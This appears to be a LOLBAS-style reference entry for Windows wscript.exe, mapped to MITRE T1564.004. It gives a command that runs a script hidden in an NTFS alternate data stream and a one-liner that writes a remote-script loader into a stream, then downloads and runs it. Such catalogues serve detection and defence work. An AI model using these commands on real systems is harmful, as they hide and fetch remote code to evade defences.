Wscript.exe

Used by Windows to execute scripts

ADS

Execute hidden code to evade defensive counter measures

wscript //e:vbscript {PATH}:script.vbs

Execute script stored in an alternate data stream — MITRE: T1564.004 — Privileges: User

Execute hidden code to evade defensive counter measures

echo GetObject("script:{REMOTEURL:.js}") > {PATH_ABSOLUTE}:hi.js && wscript.exe {PATH_ABSOLUTE}:hi.js

Download and execute script stored in an alternate data stream — MITRE: T1564.004 — Privileges: User